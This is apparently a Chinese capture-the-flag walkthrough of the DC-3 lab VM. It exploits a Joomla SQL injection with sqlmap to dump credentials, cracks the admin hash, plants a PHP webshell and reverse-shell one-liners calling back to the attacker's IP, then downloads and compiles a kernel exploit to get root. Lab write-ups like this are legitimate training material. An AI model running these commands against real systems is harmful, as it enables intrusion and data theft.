目录
环境搭建
- 攻击机:Kali-Linux2020.4(VmwareWorkstation)
- 靶机:DC-3(VirtualBox)
- DC-3靶机下载链接:http://www.five86.com/dc-3.html
- Kali与DC-3配置桥接模式,并桥接到同一张网卡
- Kali的IP地址如下:
信息收集
-
先使用Nmap探测Kali与DC-3所在网段存活主机,找到DC-3:
-
进行全面扫描,并扫描全端口,发现只开放了80端口,使用了Joomla! :
-
个人习惯,使用Nmap的vuln脚本探测一下,看是否有已知漏洞,结果发现这个版本的Joomla!存在SQL注入漏洞,先记下:
-
通过所发现有一款专用于Joomla!的扫描工具,类似wpscan。名为JoomScan,下载后进行扫描,安装和使用方法如下:
# INSTALL git clone https://github.com/rezasp/joomscan.git cd joomscan perl ./joomscan.pl --url http://192.168.2.25
发现了版本号和管理员后台登陆地址,先记下:
SQL注入漏洞利用
-
在信息收集阶段,用Nmap扫描出,此版本的Joomla!具有一个SQL注入漏洞,所以尝试利用。
-
通过searchsploit搜索一下相关的利用方法,成功找到:
查看具体的漏洞位置和方法,并通过查阅相关资料发现是com_field组件的报错注入: -
先在页面上进行验证,验证成功:
-
直接上sqlmap跑一下:
所有数据库名:# 数据库 --dbs sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] --batch --dbs
joomladb的表:# joomladb中的所有表名 -D joomladb --tables sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] --batch -D joomladb --tables
发现了很多表,就看看users表:# 字段名 -D joomladb -T "#__users" --columns sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] --batch -D joomladb -T "#__users" --columns
此处遇到一点问题,使用如上的命令无法成功跑出字段名,起初以为是出入的#__users这个表名输入不正确所致,但多次尝试后依旧不行,最后去掉–batch,在与sqlmap交互时让其对字段名爆破,成功跑出多个字段。
sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] -D joomladb -T "#__users" --columns
成功跑出字段名:
获取username,name和password数据:# 表中信息 -D joomladb -T "#__users" -C name,email,username,password --dump --batch sqlmap -u "http://192.168.2.25/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] -D joomladb -T "#__users" -C name,email,username,password --dump --batch
Hash解密进后台
- 获取到的password,放入john尝试解密,成功解出密码:
- 由于信息收集阶段成功找到了管理员后台登陆地址:Admin page : http://192.168.2.25/administrator/
所以使用admin/snoopy直接登入网站后台。
getshell
-
通过浏览管理员后台内容,发现存在两个Template可以对文件进行管理。
-
选择其中一个,发现可以创建,php文件,所以在任意目录下创建一个文件,写入一句话并保存:
-
写下了一句话,但遇到的问题是不知道写下的文件的访问路径,于是想起在信息收集阶段工具枚举出的一些目录:
Nmap枚举出的目录如下:
Joomscan扫描出的目录:
接下来进行目录拼接尝试:
发现http://192.168.2.25/administrator/templates 可以访问,但并没有发现Templates: Customise (Beez3) 相关的目录。
发现http://192.168.2.25/templates/也可以访问,但无内容显示出来
因为在保存shell文件时,有提示,所以进行拼接尝试
尝试使用http://192.168.2.25/templates/beez3/ ,依旧是访问成功,但无内容显示,但这说明beez3这个目录是存在的。
继续尝试,发现找到了写下的shell.php文件。
访问shell.php,发现写入的一句话成功解析,写入phpinfo()也能成功执行。 -
掏出蚁剑,进行连接:
成功连接: -
**(非必要)**也可在写文件时,直接反弹shell到Kali
最初的时候,我使用了nc来反弹shell,<?php system("nc -e /bin/bash 192.168.2.25 9999"); ?>
但是无法正常反弹,未知原因。所以使用其他命令,
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.2.14/9999 0>&1'"); ?>
访问时成功接收到shell:
尝试了一下nc -e命令,才发现原来是nc的-e参数被去掉了。
通过查找资料,我也找到了当nc的-e参数不存在时,使用nc反弹shell的方法,
参考此文章:https://www.cnblogs.com/sreops/articles/12497033.html.
权限提升
-
使用sudo -l 查看有无有特殊权限的文件,无果:
-
(错误步骤可略过)查看是否有SUID提权:
find / -user root -perm -4000 -print 2>/dev/null
看到一个ntfs-3g,搜素发现有一个提权漏洞,于是尝试了一下。
使用searchsploit搜索相关exp:searchsploit ntfs-3g
发现是一个.sh脚本,所以直接复制到/tmp下,用python启动一个服务,供靶机下载:# 启动服务 python -m SimpleHTTPServer # 靶机下载 wget http://192.168.2.14:8000/41240.sh
给权限后运行,发现出现问题:
搜索发现是脚本中的编码问题,可以通过Vim来修改,只需要Vim打开文件,然后键入以下内容后,回车,保存退出便可。如在靶机中打开Vim使用不方便,可在Kali修改后重新下载。:set ff=unix
给权限成功运行后,发现提权不成功,这条路结束。
-
(正确步骤在这!!!!!)在提权过程中,其实犯了一个很大的错误,就是对操作系统的信息收集工作做的不完全。所以后来才发现可以Ubuntu 16.04的内核提权漏洞。
查看操作系统相关信息常用命令:uname -a cat /etc/issue cat /etc/*release* cat /pro/version
earchsploit 搜索找到exp,这个地方其实尝试了好几个,还在MSF中试了几个,但都未成功。最后使用图中的39772.txt完成了提权。
查看39772.txt,提示在如下链接 ,下载exp。
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
下载成功后,解压。# 解压zip unzip filename.zip # 解压tar tar -xvf filename.tar
解压后进入ebpf_mapfd_doubleput_exploit目录,可以看到有4个文件。查看compile.sh文件,发现这是个编译c的脚本,所以直接在本地编译好,再上传。
但是在Kali下编译,发现出现了错误。
还是尝试直接上传再编译,开启python服务。
利用靶机的shell直接下载,这里要下载一个目录下的全部文件,要加相关参数:
-r : 遍历所有子目录
-np : 不到上一层子目录去
-nH : 不要将文件保存到主机名文件夹
下载命令:wget -r -np -nH http://192.168.2.14:8000/ebpf_mapfd_doubleput_exploit
进入目录,给compile.sh加权限,并执行,进行编译,发现只报了两个warning,没有报错。
编译完成可以看到生成了一个doubleput的文件。
执行后成功获取到root权限。
在/root目录下获取到flag